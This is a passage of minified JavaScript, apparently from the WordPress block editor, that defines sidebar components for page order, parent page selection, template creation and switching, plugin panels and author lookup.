r&amp;&amp;(o=(Array.isArray(t)?t:[t]).some(n=&gt;gxe(r.supports,n))),o?e:null}var tr=vxe;var Fh=s(C(),1);function yxe(){let e=(0,OC.useSelect)(a=&gt;a(w).getEditedPostAttribute(&quot;menu_order&quot;)??0,[]),{editPost:t}=(0,OC.useDispatch)(w),[r,o]=(0,kY.useState)(null),n=a=&gt;{o(a);let l=Number(a);Number.isInteger(l)&amp;&amp;a.trim?.()!==&quot;&quot;&amp;&amp;t({menu_order:l})},i=r??e;return(0,Fh.jsx)(Dh.Flex,{children:(0,Fh.jsx)(Dh.FlexBlock,{children:(0,Fh.jsx)(Dh.__experimentalNumberControl,{__next40pxDefaultSize:!0,label:(0,x3.__)(&quot;Order&quot;),help:(0,x3.__)(&quot;Set the page order.&quot;),value:i,onChange:n,hideLabelFromVision:!0,onBlur:()=&gt;{o(null)}})})})}function EY(){return(0,Fh.jsx)(tr,{supportKeys:&quot;page-attributes&quot;,children:(0,Fh.jsx)(yxe,{})})}var jY=s(O(),1),zY=s(W(),1);var T3=s(M_(),1),li=s(E(),1),Ju=s(A(),1),FY=s(he(),1),qa=s(D(),1),Mh=s(O(),1),k3=s(ft(),1),NC=s(W(),1),DY=s($(),1),BY=s(Ir(),1);var RY=s(A(),1),AY=s(D(),1),Jb=s(C(),1),bxe=(0,AY.forwardRef)(({className:e,label:t,children:r},o)=&gt;(0,Jb.jsxs)(RY.__experimentalHStack,{className:re(&quot;editor-post-panel__row&quot;,e),ref:o,children:[t&amp;&amp;(0,Jb.jsx)(&quot;div&quot;,{className:&quot;editor-post-panel__row-label&quot;,children:t}),(0,Jb.jsx)(&quot;div&quot;,{className:&quot;editor-post-panel__row-control&quot;,children:r})]})),ht=bxe;var OY=s(ft(),1);function IC(e){let t=e.map(n=&gt;({children:[],parent:void 0,...n}));if(t.some(({parent:n})=&gt;n===void 0))return t;let r=t.reduce((n,i)=&gt;{let{parent:a}=i;return n[a]||(n[a]=[]),n[a].push(i),n},{}),o=n=&gt;n.map(i=&gt;{let a=r[i.id];return{...i,children:a&amp;&amp;a.length?o(a):[]}});return o(r[0]||[])}var Bh=e=&gt;(0,OY.decodeEntities)(e),C3=e=&gt;({...e,name:Bh(e.name)}),IY=e=&gt;(e??[]).map(C3);var ai=s(C(),1);function P3(e){return e?.title?.rendered?(0,k3.decodeEntities)(e.title.rendered):`#${e.id} (${(0,li.__)(&quot;no title&quot;)})`}var NY=(e,t)=&gt;{let r=(0,T3.default)(e||&quot;&quot;).toLowerCase(),o=(0,T3.default)(t||&quot;&quot;).toLowerCase();return r===o?0:r.startsWith(o)?r.length:1/0};function MY(){let{editPost:e}=(0,Mh.useDispatch)(w),[t,r]=(0,qa.useState)(!1),{isHierarchical:o,parentPostId:n,parentPostTitle:i,pageItems:a,isLoading:l}=(0,Mh.useSelect)(f=&gt;{let{getPostType:m,getEntityRecords:h,getEntityRecord:g,isResolving:v}=f(NC.store),{getCurrentPostId:y,getEditedPostAttribute:b}=f(w),_=b(&quot;type&quot;),S=b(&quot;parent&quot;),x=m(_),T=y(),R=x?.hierarchical??!1,F={per_page:100,exclude:T,parent_exclude:T,orderby:&quot;menu_order&quot;,order:&quot;asc&quot;,_fields:&quot;id,title,parent&quot;};t&amp;&amp;(F.search=t,F.orderby=&quot;relevance&quot;);let B=S?g(&quot;postType&quot;,_,S):null;return{isHierarchical:R,parentPostId:S,parentPostTitle:B?P3(B):&quot;&quot;,pageItems:R?h(&quot;postType&quot;,_,F):null,isLoading:R?v(&quot;getEntityRecords&quot;,[&quot;postType&quot;,_,F]):!1}},[t]),c=(0,qa.useMemo)(()=&gt;{let f=(v,y=0)=&gt;v.map(S=&gt;[{value:S.id,label:&quot;\u2014 &quot;.repeat(y)+(0,k3.decodeEntities)(S.name),rawName:S.name},...f(S.children||[],y+1)]).sort(([S],[x])=&gt;{let T=NY(S.rawName,t),R=NY(x.rawName,t);return T&gt;=R?1:-1}).flat();if(!a)return[];let m=a.map(v=&gt;({id:v.id,parent:v.parent,name:P3(v)}));t||(m=IC(m));let h=f(m),g=h.find(v=&gt;v.value===n);return i&amp;&amp;!g&amp;&amp;h.unshift({value:n,label:i}),h},[a,t,i,n]);if(!o)return null;let u=f=&gt;{r(f)},d=f=&gt;{e({parent:f})};return(0,ai.jsx)(Ju.ComboboxControl,{__next40pxDefaultSize:!0,className:&quot;editor-page-attributes__parent&quot;,label:(0,li.__)(&quot;Parent&quot;),help:(0,li.__)(&quot;Choose a parent page.&quot;),value:n,options:c,onFilterValueChange:(0,FY.debounce)(u,300),onChange:d,hideLabelFromVision:!0,isLoading:l})}function Sxe({isOpen:e,onClick:t}){let r=(0,Mh.useSelect)(n=&gt;{let{getEditedPostAttribute:i}=n(w),a=i(&quot;parent&quot;);if(!a)return null;let{getEntityRecord:l}=n(NC.store),c=i(&quot;type&quot;);return l(&quot;postType&quot;,c,a)},[]),o=(0,qa.useMemo)(()=&gt;r?P3(r):(0,li.__)(&quot;None&quot;),[r]);return(0,ai.jsx)(Ju.Button,{size:&quot;compact&quot;,className:&quot;editor-post-parent__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,li.sprintf)((0,li.__)(&quot;Change parent: %s&quot;),o),onClick:t,children:o})}function LY(){let e=(0,Mh.useSelect)(n=&gt;n(NC.store).getEntityRecord(&quot;root&quot;,&quot;__unstableBase&quot;)?.home,[]),[t,r]=(0,qa.useState)(null),o=(0,qa.useMemo)(()=&gt;({anchor:t,placement:&quot;left-start&quot;,offset:36,shift:!0}),[t]);return(0,ai.jsx)(ht,{label:(0,li.__)(&quot;Parent&quot;),ref:r,children:(0,ai.jsx)(Ju.Dropdown,{popoverProps:o,className:&quot;editor-post-parent__panel-dropdown&quot;,contentClassName:&quot;editor-post-parent__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:n,onToggle:i})=&gt;(0,ai.jsx)(Sxe,{isOpen:n,onClick:i}),renderContent:({onClose:n})=&gt;(0,ai.jsxs)(&quot;div&quot;,{className:&quot;editor-post-parent&quot;,children:[(0,ai.jsx)(DY.__experimentalInspectorPopoverHeader,{title:(0,li.__)(&quot;Parent&quot;),onClose:n}),(0,ai.jsxs)(&quot;div&quot;,{children:[(0,qa.createInterpolateElement)((0,li.sprintf)((0,li.__)(&#039;Child pages inherit characteristics from their parent, such as URL structure. For instance, if &quot;Pricing&quot; is a child of &quot;Services&quot;, its URL would be %s&lt;wbr /&gt;/services&lt;wbr /&gt;/pricing.&#039;),(0,BY.filterURLForDisplay)(e).replace(/([/.])/g,&quot;&lt;wbr /&gt;$1&quot;)),{wbr:(0,ai.jsx)(&quot;wbr&quot;,{})}),(0,ai.jsx)(&quot;p&quot;,{children:(0,qa.createInterpolateElement)((0,li.__)(&quot;They also show up as sub-items in the default navigation menu. &lt;a&gt;Learn more.&lt;/a&gt;&quot;),{a:(0,ai.jsx)(Ju.ExternalLink,{href:(0,li.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes&quot;)})})})]}),(0,ai.jsx)(MY,{})]})})})}var VY=MY;var FC=s(C(),1),_xe=&quot;page-attributes&quot;;function wxe(){let{isEnabled:e,postType:t}=(0,jY.useSelect)(r=&gt;{let{getEditedPostAttribute:o,isEditorPanelEnabled:n}=r(w),{getPostType:i}=r(zY.store);return{isEnabled:n(_xe),postType:i(o(&quot;type&quot;))}},[]);return!e||!t?null:(0,FC.jsx)(LY,{})}function DC(){return(0,FC.jsx)(Nh,{children:(0,FC.jsx)(wxe,{})})}var gs=s(E(),1),yc=s(A(),1),Vh=s(O(),1),I3=s(W(),1),GY=s($(),1),jh=s(D(),1);var WY=s(ct(),1);var BC=s(O(),1),R3=s(D(),1),oa=s(Xe(),1),na=s(A(),1),rm=s(E(),1);var vc=s(C(),1),E3=(0,rm.__)(&quot;Custom Template&quot;);function MC({onClose:e}){let{defaultBlockTemplate:t,onNavigateToEntityRecord:r}=(0,BC.useSelect)(d=&gt;{let{getEditorSettings:f,getCurrentTemplateId:m}=d(w);return{defaultBlockTemplate:f().defaultBlockTemplate,onNavigateToEntityRecord:f().onNavigateToEntityRecord,getTemplateId:m}}),{createTemplate:o}=N((0,BC.useDispatch)(w)),[n,i]=(0,R3.useState)(&quot;&quot;),[a,l]=(0,R3.useState)(!1),c=()=&gt;{i(&quot;&quot;),e()},u=async d=&gt;{if(d.preventDefault(),a)return;l(!0);let f=t??(0,oa.serialize)([(0,oa.createBlock)(&quot;core/group&quot;,{tagName:&quot;header&quot;,layout:{inherit:!0}},[(0,oa.createBlock)(&quot;core/site-title&quot;),(0,oa.createBlock)(&quot;core/site-tagline&quot;)]),(0,oa.createBlock)(&quot;core/separator&quot;),(0,oa.createBlock)(&quot;core/group&quot;,{tagName:&quot;main&quot;},[(0,oa.createBlock)(&quot;core/group&quot;,{layout:{inherit:!0}},[(0,oa.createBlock)(&quot;core/post-title&quot;)]),(0,oa.createBlock)(&quot;core/post-content&quot;,{layout:{inherit:!0}})])]),m=await o({slug:af(n||E3)||&quot;wp-custom-template&quot;,content:f,title:n||E3,status:&quot;publish&quot;});l(!1),r({postId:m.id,postType:&quot;wp_template&quot;}),c()};return(0,vc.jsx)(na.Modal,{title:(0,rm.__)(&quot;Create custom template&quot;),onRequestClose:c,focusOnMount:&quot;firstContentElement&quot;,size:&quot;small&quot;,overlayClassName:&quot;editor-post-template__create-template-modal&quot;,children:(0,vc.jsx)(&quot;form&quot;,{className:&quot;editor-post-template__create-form&quot;,onSubmit:u,children:(0,vc.jsxs)(na.__experimentalVStack,{spacing:&quot;3&quot;,children:[(0,vc.jsx)(na.TextControl,{__next40pxDefaultSize:!0,label:(0,rm.__)(&quot;Name&quot;),value:n,onChange:i,placeholder:E3,disabled:a,help:(0,rm.__)(&#039;Describe the template, e.g. &quot;Post with sidebar&quot;. A custom template can be manually applied to any post or page.&#039;)}),(0,vc.jsxs)(na.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,vc.jsx)(na.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:c,children:(0,rm.__)(&quot;Cancel&quot;)}),(0,vc.jsx)(na.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,isBusy:a,&quot;aria-disabled&quot;:a,children:(0,rm.__)(&quot;Create&quot;)})]})]})})})}var $b=s(O(),1),UY=s(D(),1),LC=s(W(),1);function Lh(){return(0,$b.useSelect)(e=&gt;{let{getCurrentPostId:t,getCurrentPostType:r}=e(w);return{postId:t(),postType:r()}},[])}function om(){let{postType:e,postId:t}=Lh();return(0,$b.useSelect)(r=&gt;{let{canUser:o,getEntityRecord:n,getEntityRecords:i}=r(LC.store),a=o(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?n(&quot;root&quot;,&quot;site&quot;):void 0,l=+t===a?.page_for_posts,c=e===&quot;page&quot;&amp;&amp;+t===a?.page_on_front,u=c?i(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1}):[],d=c&amp;&amp;!!u?.some(({slug:f})=&gt;f===&quot;front-page&quot;);return!l&amp;&amp;!d},[t,e])}function HY(e){return(0,$b.useSelect)(t=&gt;t(LC.store).getEntityRecords(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1,post_type:e}),[e])}function A3(e){let t=O3(),r=om(),o=HY(e);return(0,UY.useMemo)(()=&gt;r&amp;&amp;o?.filter(n=&gt;n.is_custom&amp;&amp;n.slug!==t&amp;&amp;!!n.content.raw),[o,t,r])}function O3(){let{postType:e,postId:t}=Lh(),r=HY(e),o=(0,$b.useSelect)(n=&gt;n(LC.store).getEditedEntityRecord(&quot;postType&quot;,e,t)?.template,[e,t]);if(o)return r?.find(n=&gt;n.slug===o)?.slug}var ci=s(C(),1);function xxe({isOpen:e,onClick:t}){let r=(0,Vh.useSelect)(o=&gt;{let n=o(w).getEditedPostAttribute(&quot;template&quot;),{supportsTemplateMode:i,availableTemplates:a}=o(w).getEditorSettings();if(!i&amp;&amp;a[n])return a[n];let l=o(I3.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})&amp;&amp;o(w).getCurrentTemplateId();return l?.title||l?.slug||a?.[n]},[]);return(0,ci.jsx)(yc.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,gs.__)(&quot;Template options&quot;),onClick:t,children:r??(0,gs.__)(&quot;Default template&quot;)})}function Cxe({onClose:e}){let t=om(),{availableTemplates:r,fetchedTemplates:o,selectedTemplateSlug:n,canCreate:i,canEdit:a,currentTemplateId:l,onNavigateToEntityRecord:c,getEditorSettings:u}=(0,Vh.useSelect)(y=&gt;{let{canUser:b,getEntityRecords:_}=y(I3.store),S=y(w).getEditorSettings(),x=b(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}),T=y(w).getCurrentTemplateId();return{availableTemplates:S.availableTemplates,fetchedTemplates:x?_(&quot;postType&quot;,&quot;wp_template&quot;,{post_type:y(w).getCurrentPostType(),per_page:-1}):void 0,selectedTemplateSlug:y(w).getEditedPostAttribute(&quot;template&quot;),canCreate:t&amp;&amp;x&amp;&amp;S.supportsTemplateMode,canEdit:t&amp;&amp;x&amp;&amp;S.supportsTemplateMode&amp;&amp;!!T,currentTemplateId:T,onNavigateToEntityRecord:S.onNavigateToEntityRecord,getEditorSettings:y(w).getEditorSettings}},[t]),d=(0,jh.useMemo)(()=&gt;Object.entries({...r,...Object.fromEntries((o??[]).map(({slug:y,title:b})=&gt;[y,b.rendered]))}).map(([y,b])=&gt;({value:y,label:b})),[r,o]),f=d.find(y=&gt;y.value===n)??d.find(y=&gt;!y.value),{editPost:m}=(0,Vh.useDispatch)(w),{createSuccessNotice:h}=(0,Vh.useDispatch)(WY.store),[g,v]=(0,jh.useState)(!1);return(0,ci.jsxs)(&quot;div&quot;,{className:&quot;editor-post-template__classic-theme-dropdown&quot;,children:[(0,ci.jsx)(GY.__experimentalInspectorPopoverHeader,{title:(0,gs.__)(&quot;Template&quot;),help:(0,gs.__)(&quot;Templates define the way content is displayed when viewing your site.&quot;),actions:i?[{icon:lR,label:(0,gs.__)(&quot;Add template&quot;),onClick:()=&gt;v(!0)}]:[],onClose:e}),t?(0,ci.jsx)(yc.SelectControl,{__next40pxDefaultSize:!0,hideLabelFromVision:!0,label:(0,gs.__)(&quot;Template&quot;),value:f?.value??&quot;&quot;,options:d,onChange:y=&gt;m({template:y||&quot;&quot;})}):(0,ci.jsx)(yc.Notice,{status:&quot;warning&quot;,isDismissible:!1,children:(0,gs.__)(&quot;The posts page template cannot be changed.&quot;)}),a&amp;&amp;c&amp;&amp;(0,ci.jsx)(&quot;p&quot;,{children:(0,ci.jsx)(yc.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;{c({postId:l,postType:&quot;wp_template&quot;}),e(),h((0,gs.__)(&quot;Editing template. Changes made here affect all posts and pages that use the template.&quot;),{type:&quot;snackbar&quot;,actions:[{label:(0,gs.__)(&quot;Go back&quot;),onClick:()=&gt;u().onNavigateToPreviousEntityRecord()}]})},children:(0,gs.__)(&quot;Edit template&quot;)})}),g&amp;&amp;(0,ci.jsx)(MC,{onClose:()=&gt;v(!1)})]})}function Txe(){let[e,t]=(0,jh.useState)(null),r=(0,jh.useMemo)(()=&gt;({anchor:e,className:&quot;editor-post-template__dropdown&quot;,placement:&quot;left-start&quot;,offset:36,shift:!0}),[e]);return(0,ci.jsx)(ht,{label:(0,gs.__)(&quot;Template&quot;),ref:t,children:(0,ci.jsx)(yc.Dropdown,{popoverProps:r,focusOnMount:!0,renderToggle:({isOpen:o,onToggle:n})=&gt;(0,ci.jsx)(xxe,{isOpen:o,onClick:n}),renderContent:({onClose:o})=&gt;(0,ci.jsx)(Cxe,{onClose:o})})})}var VC=Txe;var UC=s(A(),1),JY=s(_u(),1),HC=s(O(),1),$Y=s(qY(),1);var XY=s(A(),1);var jC=s(O(),1),ZY=s(lt(),1);var KY=s(C(),1),{PreferenceBaseOption:Pxe}=N(ZY.privateApis);function $u(e){let{toggleEditorPanelEnabled:t}=(0,jC.useDispatch)(w),{isChecked:r,isRemoved:o}=(0,jC.useSelect)(n=&gt;{let{isEditorPanelEnabled:i,isEditorPanelRemoved:a}=n(w);return{isChecked:i(e.panelName),isRemoved:a(e.panelName)}},[e.panelName]);return o?null:(0,KY.jsx)(Pxe,{isChecked:r,onChange:()=&gt;t(e.panelName),...e})}var N3=s(C(),1),{Fill:kxe,Slot:Exe}=(0,XY.createSlotFill)(&quot;EnablePluginDocumentSettingPanelOption&quot;),QY=({label:e,panelName:t})=&gt;(0,N3.jsx)(kxe,{children:(0,N3.jsx)($u,{label:e,panelName:t})});QY.Slot=Exe;var zC=QY;var ed=s(C(),1),{Fill:Rxe,Slot:Axe}=(0,UC.createSlotFill)(&quot;PluginDocumentSettingPanel&quot;),eq=({name:e,className:t,title:r,icon:o,children:n})=&gt;{let{name:i}=(0,JY.usePluginContext)(),a=`${i}/${e}`,{opened:l,isEnabled:c}=(0,HC.useSelect)(d=&gt;{let{isEditorPanelOpened:f,isEditorPanelEnabled:m}=d(w);return{opened:f(a),isEnabled:m(a)}},[a]),{toggleEditorPanelOpened:u}=(0,HC.useDispatch)(w);return e===void 0&amp;&amp;(0,$Y.default)(&quot;PluginDocumentSettingPanel requires a name property.&quot;),(0,ed.jsxs)(ed.Fragment,{children:[(0,ed.jsx)(zC,{label:r,panelName:a}),(0,ed.jsx)(Rxe,{children:c&amp;&amp;(0,ed.jsx)(UC.PanelBody,{className:t,title:r,icon:o,opened:l,onToggle:()=&gt;u(a),children:n})})]})};eq.Slot=Axe;var GC=eq;var tq=s($(),1),rq=s(A(),1),oq=s(he(),1),F3=s(C(),1),Oxe=(e,t)=&gt;e.filter(r=&gt;!t.includes(r)).length===0,Ixe=(e,t)=&gt;!Array.isArray(t)||Oxe(e,t),Nxe=({allowedBlocks:e,icon:t,label:r,onClick:o,small:n,role:i})=&gt;(0,F3.jsx)(tq.BlockSettingsMenuControls,{children:({selectedBlocks:a,onClose:l})=&gt;Ixe(a,e)?(0,F3.jsx)(rq.MenuItem,{onClick:(0,oq.compose)(o,l),icon:t,label:n?r:void 0,role:i,children:!n&amp;&amp;r}):null}),nq=Nxe;var iq=s(A(),1),sq=s(_u(),1);var aq=s(C(),1);function lq(e){let t=(0,sq.usePluginContext)();return(0,aq.jsx)(rs,{name:&quot;core/plugin-more-menu&quot;,as:e.as??iq.MenuItem,icon:e.icon||t.icon,...e})}var cq=s(_u(),1),WC=s(A(),1),D3=s(C(),1),{Fill:Fxe,Slot:Dxe}=(0,WC.createSlotFill)(&quot;PluginPostPublishPanel&quot;),uq=({children:e,className:t,title:r,initialOpen:o=!1,icon:n})=&gt;{let{icon:i}=(0,cq.usePluginContext)();return(0,D3.jsx)(Fxe,{children:(0,D3.jsx)(WC.PanelBody,{className:t,initialOpen:o||!r,title:r,icon:n??i,children:e})})};uq.Slot=Dxe;var YC=uq;var qC=s(A(),1),B3=s(C(),1),{Fill:Bxe,Slot:Mxe}=(0,qC.createSlotFill)(&quot;PluginPostStatusInfo&quot;),dq=({children:e,className:t})=&gt;(0,B3.jsx)(Bxe,{children:(0,B3.jsx)(qC.PanelRow,{className:t,children:e})});dq.Slot=Mxe;var ZC=dq;var KC=s(A(),1),fq=s(_u(),1),M3=s(C(),1),{Fill:Lxe,Slot:Vxe}=(0,KC.createSlotFill)(&quot;PluginPrePublishPanel&quot;),mq=({children:e,className:t,title:r,initialOpen:o=!1,icon:n})=&gt;{let{icon:i}=(0,fq.usePluginContext)();return(0,M3.jsx)(Lxe,{children:(0,M3.jsx)(KC.PanelBody,{className:t,initialOpen:o||!r,title:r,icon:n??i,children:e})})};mq.Slot=Vxe;var XC=mq;var pq=s(A(),1),hq=s(_u(),1);var gq=s(C(),1);function vq(e){let t=(0,hq.usePluginContext)();return(0,gq.jsx)(rs,{name:&quot;core/plugin-preview-menu&quot;,as:e.as??pq.MenuItem,icon:e.icon||t.icon,...e})}var yq=s(C(),1);function nm({className:e,...t}){return(0,yq.jsx)(ql,{panelClassName:e,className:&quot;editor-sidebar&quot;,scope:&quot;core&quot;,...t})}var bq=s(C(),1);function Sq(e){return(0,bq.jsx)(xu,{__unstableExplicitMenuItem:!0,scope:&quot;core&quot;,...e})}var JC=s(O(),1),$C=s(W(),1);var bc=s(O(),1),Uq=s(ft(),1),td=s(A(),1),QC=s(D(),1),sm=s(E(),1),Gh=s(W(),1);var Hq=s(ct(),1),Gq=s(lt(),1);var Uh=s(D(),1),Cq=s(ft(),1),Tq=s($(),1),Hh=s(A(),1),zh=s(E(),1),Pq=s(O(),1),kq=s(W(),1),Eq=s(Xe(),1);var wq=s(M_(),1);function _q(e=&quot;&quot;){return e=(0,wq.default)(e),e=e.trim().toLowerCase(),e}function jxe(e,t){let r=_q(t),o=_q(e.title),n=0;return r===o?n+=30:o.startsWith(r)?n+=20:r.split(&quot; &quot;).every(l=&gt;o.includes(l))&amp;&amp;(n+=10),n}function xq(e=[],t=&quot;&quot;){if(!t)return e;let r=e.map(o=&gt;[o,jxe(o,t)]).filter(([,o])=&gt;o&gt;0);return r.sort(([,o],[,n])=&gt;n-o),r.map(([o])=&gt;o)}var Bi=s(C(),1);function Rq({onClick:e}){let[t,r]=(0,Uh.useState)(!1),{postType:o,postId:n}=Lh(),i=A3(o),{editEntityRecord:a}=(0,Pq.useDispatch)(kq.store),l=async c=&gt;{a(&quot;postType&quot;,o,n,{template:c.name},{undoIgnore:!0}),r(!1),e()};return(0,Bi.jsxs)(Bi.Fragment,{children:[(0,Bi.jsx)(Hh.MenuItem,{disabled:!i?.length,accessibleWhenDisabled:!0,onClick:()=&gt;r(!0),children:(0,zh.__)(&quot;Change template&quot;)}),t&amp;&amp;(0,Bi.jsx)(Hh.Modal,{title:(0,zh.__)(&quot;Choose a template&quot;),onRequestClose:()=&gt;r(!1),overlayClassName:&quot;editor-post-template__swap-template-modal&quot;,isFullScreen:!0,children:(0,Bi.jsx)(&quot;div&quot;,{className:&quot;editor-post-template__swap-template-modal-content&quot;,children:(0,Bi.jsx)(zxe,{postType:o,onSelect:l})})})]})}function zxe({postType:e,onSelect:t}){let[r,o]=(0,Uh.useState)(&quot;&quot;),n=A3(e),i=(0,Uh.useMemo)(()=&gt;n.map(l=&gt;({name:l.slug,blocks:(0,Eq.parse)(l.content.raw),title:(0,Cq.decodeEntities)(l.title.rendered),id:l.id})),[n]),a=(0,Uh.useMemo)(()=&gt;xq(i,r),[i,r]);return(0,Bi.jsxs)(Bi.Fragment,{children:[(0,Bi.jsx)(Hh.SearchControl,{onChange:o,value:r,label:(0,zh.__)(&quot;Search&quot;),placeholder:(0,zh.__)(&quot;Search&quot;),className:&quot;editor-post-template__swap-template-search&quot;}),(0,Bi.jsx)(Tq.__experimentalBlockPatternsList,{label:(0,zh.__)(&quot;Templates&quot;),blockPatterns:a,onClickPattern:t})]})}var Aq=s(A(),1),Oq=s(E(),1),Iq=s(O(),1),Nq=s(W(),1);var Fq=s(C(),1);function Dq({onClick:e}){let t=O3(),r=om(),{postType:o,postId:n}=Lh(),{editEntityRecord:i}=(0,Iq.useDispatch)(Nq.store);return!t||!r?null:(0,Fq.jsx)(Aq.MenuItem,{onClick:()=&gt;{i(&quot;postType&quot;,o,n,{template:&quot;&quot;},{undoIgnore:!0}),e()},children:(0,Oq.__)(&quot;Use default template&quot;)})}var Bq=s(A(),1),Mq=s(E(),1),Lq=s(O(),1),Vq=s(W(),1),jq=s(D(),1);var im=s(C(),1);function zq(){let{canCreateTemplates:e}=(0,Lq.useSelect)(n=&gt;{let{canUser:i}=n(Vq.store);return{canCreateTemplates:i(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})}},[]),[t,r]=(0,jq.useState)(!1),o=om();return!e||!o?null:(0,im.jsxs)(im.Fragment,{children:[(0,im.jsx)(Bq.MenuItem,{onClick:()=&gt;{r(!0)},children:(0,Mq.__)(&quot;Create new template&quot;)}),t&amp;&amp;(0,im.jsx)(MC,{onClose:()=&gt;{r(!1)}})]})}var ui=s(C(),1);function Wq({id:e}){let{isTemplateHidden:t,onNavigateToEntityRecord:r,getEditorSettings:o,hasGoBack:n,hasSpecificTemplate:i}=(0,bc.useSelect)(x=&gt;{let{getRenderingMode:T,getEditorSettings:R,getCurrentPost:F}=N(x(w)),B=R(),z=F();return{isTemplateHidden:T()===&quot;post-only&quot;,onNavigateToEntityRecord:B.onNavigateToEntityRecord,getEditorSettings:R,hasGoBack:B.hasOwnProperty(&quot;onNavigateToPreviousEntityRecord&quot;),hasSpecificTemplate:!!z.template}},[]),{get:a}=(0,bc.useSelect)(Gq.store),{editedRecord:l,hasResolved:c}=(0,Gh.useEntityRecord)(&quot;postType&quot;,&quot;wp_template&quot;,e),{getEntityRecord:u}=(0,bc.useSelect)(Gh.store),{editEntityRecord:d}=(0,bc.useDispatch)(Gh.store),{createSuccessNotice:f}=(0,bc.useDispatch)(Hq.store),{setRenderingMode:m,setDefaultRenderingMode:h}=N((0,bc.useDispatch)(w)),g=(0,bc.useSelect)(x=&gt;!!x(Gh.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}),[]),[v,y]=(0,QC.useState)(null),b=(0,QC.useMemo)(()=&gt;({anchor:v,className:&quot;editor-post-template__dropdown&quot;,placement:&quot;left-start&quot;,offset:36,shift:!0}),[v]);if(!c)return null;let _=n?[{label:(0,sm.__)(&quot;Go back&quot;),onClick:()=&gt;o().onNavigateToPreviousEntityRecord()}]:void 0,S=()=&gt;{a(&quot;core/edit-site&quot;,&quot;welcomeGuideTemplate&quot;)||f((0,sm.__)(&quot;Editing template. Changes made here affect all posts and pages that use the template.&quot;),{type:&quot;snackbar&quot;,actions:_})};return(0,ui.jsx)(ht,{label:(0,sm.__)(&quot;Template&quot;),ref:y,children:(0,ui.jsx)(td.DropdownMenu,{popoverProps:b,focusOnMount:!0,toggleProps:{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,tooltipPosition:&quot;middle left&quot;},label:(0,sm.__)(&quot;Template options&quot;),text:(0,Uq.decodeEntities)(l.title),icon:null,children:({onClose:x})=&gt;(0,ui.jsxs)(ui.Fragment,{children:[(0,ui.jsxs)(td.MenuGroup,{children:[g&amp;&amp;(0,ui.jsx)(td.MenuItem,{onClick:async()=&gt;{if(r({postId:l.id,postType:&quot;wp_template&quot;}),!i&amp;&amp;window?.__experimentalTemplateActivate){let T=await u(&quot;root&quot;,&quot;site&quot;).active_templates;T[l.slug]!==l.id&amp;&amp;d(&quot;root&quot;,&quot;site&quot;,void 0,{active_templates:{...T,[l.slug]:l.id}})}x(),S()},children:(0,sm.__)(&quot;Edit template&quot;)}),(0,ui.jsx)(Rq,{onClick:x}),(0,ui.jsx)(Dq,{onClick:x}),g&amp;&amp;(0,ui.jsx)(zq,{})]}),(0,ui.jsx)(td.MenuGroup,{children:(0,ui.jsx)(td.MenuItem,{icon:t?void 0:Pi,isSelected:!t,role:&quot;menuitemcheckbox&quot;,onClick:()=&gt;{let T=t?&quot;template-locked&quot;:&quot;post-only&quot;;m(T),h(T)},children:(0,sm.__)(&quot;Show template&quot;)})})]})})})}var L3=s(C(),1);function eT(){let{templateId:e,isBlockTheme:t}=(0,JC.useSelect)(n=&gt;{let{getCurrentTemplateId:i,getEditorSettings:a}=n(w);return{templateId:i(),isBlockTheme:a().__unstableIsBlockBasedTheme}},[]),r=(0,JC.useSelect)(n=&gt;{let i=n(w).getCurrentPostType();if(!n($C.store).getPostType(i)?.viewable)return!1;let l=n(w).getEditorSettings();return!!l.availableTemplates&amp;&amp;Object.keys(l.availableTemplates).length&gt;0?!0:l.supportsTemplateMode?n($C.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})??!1:!1},[]),o=(0,JC.useSelect)(n=&gt;r?n($C.store).canUser(&quot;read&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}):!1,[r]);return(!t||!o)&amp;&amp;r?(0,L3.jsx)(VC,{}):t&amp;&amp;e?(0,L3.jsx)(Wq,{id:e}):null}var lZ=s(O(),1),cZ=s(W(),1);var Xq=s(he(),1),Qq=s(D(),1),Jq=s(O(),1),$q=s(E(),1),eZ=s(A(),1);var Yq=s(E(),1),qq=s(D(),1),Zq=s(O(),1),V3=s(ft(),1),Kq=s(W(),1);var e0={_fields:&quot;id,name&quot;,context:&quot;view&quot;},tT={who:&quot;authors&quot;,per_page:100,...e0};function rT(e){let{authorId:t,authors:r,postAuthor:o,isLoading:n}=(0,Zq.useSelect)(a=&gt;{let{getUser:l,getUsers:c,isResolving:u}=a(Kq.store),{getEditedPostAttribute:d}=a(w),f=d(&quot;author&quot;),m={...tT};return e&amp;&amp;(m.search=e,m.search_columns=[&quot;name&quot;]),{authorId:f,authors:c(m),postAuthor:l(f,e0),isLoading:u(&quot;getUsers&quot;,[m])}},[e]),i=(0,qq.useMemo)(()=&gt;{let a=(r??[]).map(u=&gt;({value:u.id,label:(0,V3.decodeEntities)(u.name)})),l=a.findIndex(({value:u})=&gt;o?.id===u),c=[];return l&lt;0&amp;&amp;o?c=[{value:o.id,label:(0,V3.decodeEntities)(o.name)}]:l&lt;0&amp;&amp;!o&amp;&amp;(c=[{value:0,label:(0,Yq.__)(&quot;(No author)&quot;)}]),[...c,...a]},[r,o]);return{authorId:t,authorOptions:i,postAuthor:o,isLoading:n}}var tZ=s(C(),1);function 